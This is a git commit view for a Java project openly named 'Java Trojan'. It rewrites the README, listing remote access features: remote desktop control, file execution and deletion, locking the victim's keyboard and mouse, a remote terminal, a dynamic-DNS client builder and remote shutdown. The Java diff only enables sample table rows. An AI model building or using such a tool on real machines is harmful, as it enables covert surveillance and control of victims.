Browse Source

readme

main
mainSpi 3 years ago
parent
commit
088b697413
  1. 15
      .idea/inspectionProfiles/Project_Default.xml
  2. BIN
      demo/main.png
  3. 86
      readme.md
  4. 15
      src/main/java/greek/horse/server/ui/controllers/HorseController.java
  5. BIN
      target/classes/greek/horse/server/ui/controllers/HorseController.class

15
.idea/inspectionProfiles/Project_Default.xml

@ -0,0 +1,15 @@
<component name="InspectionProjectProfileManager">
<profile version="1.0">
<option name="myName" value="Project Default" />
<inspection_tool class="HtmlUnknownAttribute" enabled="true" level="WARNING" enabled_by_default="true">
<option name="myValues">
<value>
<list size="1">
<item index="0" class="java.lang.String" itemvalue="align" />
</list>
</value>
</option>
<option name="myCustomValuesEnabled" value="true" />
</inspection_tool>
</profile>
</component>

BIN
demo/main.png

Before

Width: 716  |  Height: 432  |  Size: 34 KiB

After

Width: 772  |  Height: 432  |  Size: 43 KiB

86
readme.md

@ -1,13 +1,87 @@
# Working Features
# Java Trojan
Fully Java powered trojan. Monitoring and communication software.
## Desktop Monitor
## Disclaimer
This project is for education purposes **ONLY**. If you are looking for spyware software, this is not it. Any other non-education use is disapproved.
## Features
### General
<figcaption align = "left"><i>Server-side UI</i></figcaption>
![server chat](demo/main.png)
- Server-Client direct socket communication
- Port choosing
- JavaFX server-side UI, fast and nice-looking
- Table info UI organization
- slf4j logging
### Desktop Monitor
![desktop](demo/desktop.png)
- Monitor selection - Monitor selection
- Optional extra compression - Optional extra compression
- Mouse clicks and keys
- Simple FPS counter
- Sending mouse clicks and keyboard keys
- FPS counter
## Files Browsing
### File Browsing
![files](demo/files.png)
- File extension icons
- File size
- Drive selection - Drive selection
- Running files on client-side - Running files on client-side
- Uploading and downloading - Uploading and downloading
- Erasing files and folders
- Erasing files and folders
### Chat
<figcaption align = "left"><i>Server-side UI</i></figcaption>
![server chat](demo/serverChat.png)
<figcaption align = "left"><i>Client-side UI</i></figcaption>
![client chat](demo/clientChat.png)
- JavaFX on server-side, native javax.swing on client-side
- Client-side window closing prevention
- Minimalistic and objective UI
### Locking
<figcaption align = "left"><i>Client-side locked behavior</i></figcaption>
![lock](demo/lock.png)
- Window closing prevention
- Screen obfuscation
- Mouse locked on corner
- Keyboard locked
### Data Query
![data](demo/data.png)
- Local system data
- Network info from [ip-api.com](https://ip-api.com/)
### Terminal
![terminal](demo/terminal.png)
- Remote terminal access
- Send commands, receive responses
- <figcaption align = "left">platform dependency</figcaption>
![terminal dependency](demo/plataformDependency.png)
### Building
<figcaption align = "left"><i>Done dialog</i></figcaption>
![done](demo/buildDone.png)
- Address selection (using no-ip or other ddns provider)
- Server classes removal from jar
- Useless files (images, .fxml) removal from jar
- Concurrent building in background
- <figcaption align = "left"><b>only works when running from jar</b></figcaption>
![error](demo/buildError.png)
### Turning off
- Remotely shut down client's machine
- A bit [platform dependent](https://stackoverflow.com/a/14297352/10421315)

15
src/main/java/greek/horse/server/ui/controllers/HorseController.java

@ -1,6 +1,7 @@
package greek.horse.server.ui.controllers; package greek.horse.server.ui.controllers;
import greek.horse.models.NetInfo; import greek.horse.models.NetInfo;
import greek.horse.models.OS;
import greek.horse.server.troyStructure.NetInfoTable; import greek.horse.server.troyStructure.NetInfoTable;
import greek.horse.server.troyStructure.TroyPlebe; import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.TroyServer; import greek.horse.server.troyStructure.TroyServer;
@ -114,13 +115,13 @@ public class HorseController {
private void startTable() { private void startTable() {
ObservableList<TroyPlebe> plebeObservableList = this.troyServer.getPlebes(); ObservableList<TroyPlebe> plebeObservableList = this.troyServer.getPlebes();
// for (int i = 0; i < 10; i++) {
// tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi")));
// tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi")));
// }
for (int i = 0; i < 10; i++) {
tableView.getItems().add(new NetInfoTable(new NetInfo("Robert", OS.WINDOWS, "Windows 10", "DESKTOP-DGSDF", "192.168.0.1", "200.98.134.27", "Brazil", "Sao Paulo", "Sao Paulo", "America/Sao_Paulo", "Universo Online S.A.", "Universo Online S.A.", "AS7162 Universo Online S.A."), new TroyPlebe("skibidi")));
tableView.getItems().add(new NetInfoTable(new NetInfo("Lorem", OS.UNIX, "Fedora 35", "SERVER-WSJDN", "192.168.43.1", "104.244.72.248", "Luxembourg", "Mersch", "Roost", "Europe/Luxembourg", "FranTech Solutions", "BuyVM", "AS53667 FranTech Solutions"), new TroyPlebe("skibidi")));
tableView.getItems().add(new NetInfoTable(new NetInfo("Yuri", OS.MAC, "MacOs X", "DESKTOP-WSJDN", "192.168.13.1", "207.188.139.168", "Spain", "Extremadura", "Badajoz", "Europe/Madrid", "Xtra Telecom S.A", "Xtra Telecom S.A", "AS15704 XTRA TELECOM S.A."), new TroyPlebe("skibidi")));
tableView.getItems().add(new NetInfoTable(new NetInfo("Jonah", OS.UNIX, "Mint 20.2", "SERVER-WSJDN", "192.168.1.1", "46.29.248.238", "Sweden", "Stockholm County", "Stockholm", "Europe/Stockholm", "Inter Connects Inc", "Sweden", "AS57858 Inter Connects Inc"), new TroyPlebe("skibidi")));
tableView.getItems().add(new NetInfoTable(new NetInfo("Gabriel", OS.UNKNOWN, "Temple OS 5.03", "DESKTOP-WSJDN", "192.168.15.1", "45.137.184.31", "Netherlands", "North Holland", "Amsterdam", "Europe/Amsterdam", "NL-MOTP", "", "AS41047 Bart Vrancken trading as MLaB"), new TroyPlebe("skibidi")));
}
plebeObservableList.addListener((ListChangeListener<TroyPlebe>) lis -> { plebeObservableList.addListener((ListChangeListener<TroyPlebe>) lis -> {
while (lis.next()) { while (lis.next()) {

BIN
target/classes/greek/horse/server/ui/controllers/HorseController.class

Loading…
Cancel
Save